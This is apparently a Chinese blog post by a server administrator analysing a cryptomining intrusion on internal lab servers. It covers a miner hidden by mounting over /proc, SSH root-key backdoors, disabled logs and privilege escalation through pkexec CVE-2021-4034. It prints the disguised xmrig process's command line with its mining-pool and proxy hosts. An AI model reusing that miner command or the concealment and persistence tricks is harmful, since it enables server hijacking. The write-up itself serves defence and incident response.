对于前面没有解决的问题,实际上后来发现攻击者只用了一个简单粗暴的隐藏方法,就是把一个空目录挂载到/proc/17166,这是挖矿进程组的组长,于是各种工具都看不到数据了。/anon_hugepage似乎只是启动时的环境的巧合,跟这个没有什么关系。

找人要了10.3.0.180的管理员用户去检查,情况和之前基本一样。然而,有/etc/ptr和/mount/proxy两个可疑文件,和ptr.so之类的东西。ptr和之前的位置一样,应该是一堆挖矿进程。然而netstat查看情况后发现几十条proxy程序创建的tcp连接,而proxy是单个进程,PID=46902,看名字是用来做代理的。netstat的链接中,一半的连接远程地址是10.208.104.201:8889,另一半则远程地址不固定,但本地端口固定为19614。检查进程的cmdline,发现它还是原来的xmrig挖矿程序。

 ➜  user sudo cat /proc/46902/cmdline
./proxy-arx/0-orandom.13258.one:9200-UNHbTTC53vVeRRNCB2LSrzD5madB6ZtkxNCj.test4-px-b0.0.0.0:19614-xproxy.bfsu.cloud:8889--modesimple%

根据参数证实了它从本地端口19614接收来自其他服务器的数据。上传地址是random.13258.one,使用代理proxy.bfsu.cloud。前者指向一个美国的IP,后者则是局域网地址10.208.104.201。proxy程序文件的修改时间是23年9月,之后被启动,这之前服务器的检查结果一致,即第一组挖矿进程的上传的地址该服务器10.3.0.180。

进程的environ显示登录地址来源于192.168.2.50,直接以root用户登录。这是一台局域网内另一个可ping到的服务器地址,但和之前的都不一样。查看/var/log/auth.log发现最后一次登录就是该地址,直接以root ssh key登录,随后登录记录服务一直没有正常工作。
和上一台服务器一样,root用户目录下都没有找到最近的不合理的操作记录和文件更改,最近修改时间在很久以前。检查root的.ssh/authorized_keys,修改时间22年7月,在1年多以前,里面的有的pub key和之前被挖矿的服务器的key完全一样,而且文件修改时间也一样,这很不正常。这几台服务器本来就是用另外一个用户当sudoer,正常来说不会有人手动给加root用户的登录key。
sshd config的PermitRootLogin似乎都是缺省值prohibit-password,因此可以直接登录。

其他情况

从10.3.0.180的netstat情况来看,内网中至少有二十台服务器通过此服务器上传挖矿数据。而两次登录来源是不同的内网ip,都具有相同的key。因此可以推测被获得root登录权限和key应该不是人为配置失误或弱密码,而是一次批量的攻击行为。无法确认key是被今年加入的,还是按修改时间来看是去年已经被加入。据了解去年暑假时间也有一次大规模的挖矿脚本检查导致被网管断网的问题。而上一台检查的服务器的auth记录在一年前就停止了,似乎也是不正常的情况。因此也有可能是之前的问题处置不当,没有删除登录后门。

暂时不知道proxy.bfsu.cloud:8889即10.208.104.201的情况,此服务器已经同时被用于root登录的发起和接收数据。扫描这几个服务器都开了多个端口,可能有漏洞被利用。另外,理论上来说连国外的上传地址random.13258.one还需要一层翻墙代理,不知道是不是在这里做的。random.13258.one:9200是一个(34.149.22.228,国内无法连接),显示rDNS是228.22.149.34.bc.googleusercontent.com,而228.22.149.34又是一个局域网ip,不知道有什么含义,可能是google云服务器自动分配的域名。值得注意的是这里的9200端口在192.168.2.50的服务器中也有开启,用于ElasticSearch服务。可以nmap扫到34.149.22.228开启了80/443端口和9200端口,但从我的服务器发http请求均没有回应,可能设置了拦截。

更新-最终结论

之前没有确定攻击者是如何绕过ssh验证,从其他内网机器上进攻过来,以获得sudoer权限的。由于该内网服务器还要使用,当时只是清理了之前留下的ssh-key,删除异常的sudo权限,启动被关闭的系统日志。结果过一段时间后,仍然出现了上述异常登录的情况。此次系统日志也被关闭,但auth.log历史记录未被清理,从中得以确定攻击者登录的过程。

攻击者似乎在以往通过弱口令或其他漏洞登录过服务器,从而获得普通用户登录权限,然后通过下述的漏洞提权,并留下了登录普通用户和sudoers用户的后门。在登录记录里查询到了最近bin用户的登录记录。bin用户的主目录是/usr/bin,本来是不应该被登录的,该目录的一堆程序里面出现了非常不合理的.bash_history。由于之前我没注意到bin用户被改成可以登录了,但已经把所有不合理的sudo权限去掉了,于是攻击者重新以普通用户登录bin用户,并进行了提权。日志里记录了过程,该过程没有什么复杂的操作。

攻击者在普通用上通过服务器上长期未更新的pkexec的漏洞进行提权,获得root权限。该漏洞编号为CVE-2021-4034,是一个容易利用的高危漏洞。然后,在系统中插入方便正常登录和sudo的后门。记录中出现了以su切换到每个用户账户的遍历尝试,似乎在收集用户信息,或者是希望之后以普通用户登录。此外这个过程似乎还会寻找原有的sudoers,以该sudoer的名义进行后续需要sudo的操作,例如植入挖矿程序。这似乎是为了造成挖矿攻击是从该用户登录后安装启动的假象,混淆原来的进攻路径。

总的来说,此次挖矿看起来不是什么高明的或有组织针性的攻击。仅仅是简单的漏洞利用,和一些掩护方法的组合。而目的似乎仅仅是挖矿获利,未见勒索或其他影响数据安全的行为。然而,这说明服务器中的数据一直处于完全不设防的状态。即使该服务器没有公网ip,接入内网环境仍然是非常危险的,任何安全防护不佳的主机仍会被内网中其他已被入侵的主机攻击。

网管对此类事件的处理方式简单粗暴,即检测到挖矿程序通信就封停该机器的所有网络访问,要求重装系统整改才能恢复内网访问。然而这种方案仅仅抑制了挖矿程序长期占据服务器,是否”治本“仍然存疑。从根本上来说,所内的内网服务器系统留存了大量历史数据,而运行的一些程序对版本有要求,或者多人共用的服务器难以中断运行,想要不断更新以避免系统漏洞被利用并不容易。再加上每个服务器管理同学能力参差不齐的情况下,监测和维护服务器信息安全是一项挑战。如何在不影响使用的情况下,系统性地提高安全防护,是一个需要考虑的问题。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注